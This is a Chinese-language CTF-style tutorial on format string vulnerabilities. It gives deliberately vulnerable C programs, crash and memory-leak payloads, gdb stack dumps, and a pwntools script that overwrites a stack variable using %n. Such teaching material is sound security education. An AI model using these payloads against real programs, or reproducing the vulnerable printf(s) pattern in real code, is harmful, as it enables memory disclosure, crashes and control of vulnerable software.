格式化字符串漏洞

  1. 1. 格式化字符串漏洞原理
    1. 1.1. 程序崩溃
    2. 1.2. 泄露内存
      1. 1.2.1. 获取栈变量数值
      2. 1.2.2. 获取栈变量对应字符串
    3. 1.3. 泄露任意地址内存
    4. 1.4. 覆盖内存
    5. 1.5. 覆盖栈内存
    6. 1.6. 确定覆盖地址
    7. 1.7. 确定相对偏移
    8. 1.8. 进行覆盖

格式化字符串漏洞原理

​ 格式化字符串函数将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。一般来说,格式化字符串在利用的时候主要分为三个部分

  • 格式化字符串函数

  • 格式化字符串

  • 后续参数,可选

img

1
2
3
4
5
6
%d - 十进制 - 输出十进制整数;
%s - 字符串 - 从内存中读取字符串;
%x - 十六进制 - 输出十六进制数;
%c - 字符 - 输出字符;
%p - 指针 - 指针地址;
%n - 其他都是用来打印的,而%n可以用来把一个int型的值写到指定的地址中
1
2
3
4
5
6
7
8
9
10
//gcc str.c -m32 -o str
#include <stdio.h>
int main(void){
int c = 0;
printf("the use of %n", &c);
printf("%d\n", c);
return 0;
}
运行结果为:
the use of 11

对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

1
2
3
4
5
some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。

假设我们在编写程序时候,写成了下面的样子

1
printf("Color %s, Number %d, Float %4.2f");

程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。这基本就是格式化字符串漏洞的基本原理了。同时也展示了格式化字符串漏洞的两个利用手段

  • 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大;
  • 查看进程内容,根据 %d,%f 输出了栈上的内容;

程序崩溃

利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可

1
%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。

泄露内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
    • 盲打,dump 整个程序,获取有用信息
1
2
3
4
5
6
7
8
9
10
/*leakmemory.c*/
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

简单编译一下后:

1
2
3
4
5
➜  leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
printf(s);
^
获取栈变量数值
1
2
3
4
➜  leakmemory git:(master) ✗ ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb

使用gdb调试之后的部分截图如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28 in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10"%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10"%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x" ← $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"

程序会将栈上的 0xffffcd04 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。

当然,我们也可以使用 %p 来获取数据,如下

1
2
3
%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xfff328c0.0xc2.0xf75c46bb

这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。

上面给出的方法,都是依次获得栈中的每个参数,我们有没有办法直接获取栈中被视为第 n+1 个参数的值呢?肯定是可以的啦。方法如下

1
%n$x

利用上述字符串,我们就可以获取到对应的第 n+1 个参数的数值。为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。

获取栈变量对应字符串

获得栈变量对应的字符串,这其实就是需要用到 %s 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤ b printf
Breakpoint 1 at 0x8048330
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%s

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
────────────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf → <main+84> add esp, 0x20 ← $esp
0xffffccf0│+0x04: 0x08048563"%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd100xff007325 ("%s"?)
0xffffcd04│+0x18: 0xffffcd100xff007325 ("%s"?)
0xffffcd08│+0x1c: 0x000000c2
gef➤ c
Continuing.
00000001.22222222.ffffffff.%s

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28 in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd100xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd100xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?) ← $eax
0xffffcd14│+0x18: 0xffffce3c0xffffd074"XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
gef➤ c
Continuing.
%s[Inferior 1 (process 57488) exited normally]

在第二次执行 printf 函数的时候,确实是将 0xffffcd04 处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。

当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。

小技巧总结

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容

泄露任意地址内存

可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。

一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。

那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。

1
addr%k$s

注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

1
[tag]%p%p%p%p%p%p...

重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符’A’作为特定字符,同时还是利用之前编译好的程序,如下

1
2
3
4
➜  leakmemory git:(master) ✗ ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%

由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第 5 个参数,但是是格式化字符串的第 4 个参数。我们可以来测试一下

1
2
3
4
➜  leakmemory git:(master) ✗ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
[1] 61439 segmentation fault (core dumped) ./leakmemory

可以看出,我们的程序崩溃了,为什么呢?这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,所以程序就崩溃了。

补充:获取got表信息的两种方式

1、在gef或pwndbg中运行程序后,输入got即可;

2、使用pwntools中的ELF函数:

1
2
3
4
5
6
7
/*leakmemory.py*/
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print("The address of scanf@got is:")
print hex(__isoc99_scanf_got)
1
2
3
4
5
6
7
8
9
10
11
➜  leakmemory git:(master)python leakmemory.py
[+] Starting local process './leakmemory': pid 4801
[*] '/home/zero/Desktop/pwn_test/leakmemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
The address of scanf@got is:
0x804a014
[*] Stopped process './leakmemory' (pid 4801)

覆盖内存

上面展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢? 答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型

1
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

通过这个类型参数,再加上一些小技巧,我们就可以达到我们的目的,这里仍然分为两部分,一部分为覆盖栈上的变量,第二部分为覆盖指定地址的变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*overflow.c*/
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

而无论是覆盖哪个地址的变量,我们基本上都是构造类似如下的 payload:

1
...[overwrite addr]....%[overwrite offset]$n

其中… 表示我们的填充内容,overwrite addr 表示我们所要覆盖的地址,overwrite offset 地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。所以一般来说,也是如下步骤

  • 确定覆盖地址
  • 确定相对偏移
  • 进行覆盖

覆盖栈内存

确定覆盖地址

首先,我们自然是来想办法知道栈变量 c 的地址。由于目前几乎上所有的程序都开启了 ASLR 保护,所以栈的地址一直在变,所以我们这里故意输出了 c 变量的地址。

确定相对偏移

其次,我们来确定一下存储格式化字符串的地址是 printf 将要输出的第几个参数 ()。 这里我们通过之前的泄露栈变量数值的方法来进行操作。

1
2
3
4
5
6
7
8
9
pwndbg> c
Continuing.
0xffffceac
AAAA%6$x

pwndbg> c
Continuing.
AAAA41414141
[Inferior 1 (process 4858) exited normally]

或者输入:

1
2
3
4
5
6
7
8
9
pwndbg> c
Continuing.
0xffffceac
AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

pwndbg> c
Continuing.
AAAA,ffffce48,c2,f7e936bb,ffffce6e,ffffcf6c,41414141,2c78252c,252c7825,78252c78,2c78252c
[Inferior 1 (process 4945) exited normally]

可知格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数

进行覆盖

这样,第 6 个参数处的值就是存储变量 c 的地址,我们便可以利用 %n 的特征来修改 c 的值。payload 如下

1
[addr of c]%012d%6$n

addr of c 的长度为 4,故而我们得再输入 12 个字符才可以达到 16 个字符,以便于来修改 c 的值为 16。

1
2
3
4
5
6
7
8
9
10
11
12
def forc():
sh = process('./overflow')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print (hex(c_addr))
payload = p32(c_addr) + '%012d' + '%6$n'
print (payload)
#gdb.attach(sh)
sh.sendline(payload)
print (sh.recv())
sh.interactive()

forc()

结果如下:

1
2
3
4
5
6
7
8
[+] Starting local process './overflow': pid 4910
0xfff352cc
�R��%012d%6$n
[*] Process './overflow' stopped with exit code 0 (pid 4910)
�R��-00000830872modified c.

[*] Switching to interactive mode
[*] Got EOF while reading in interactive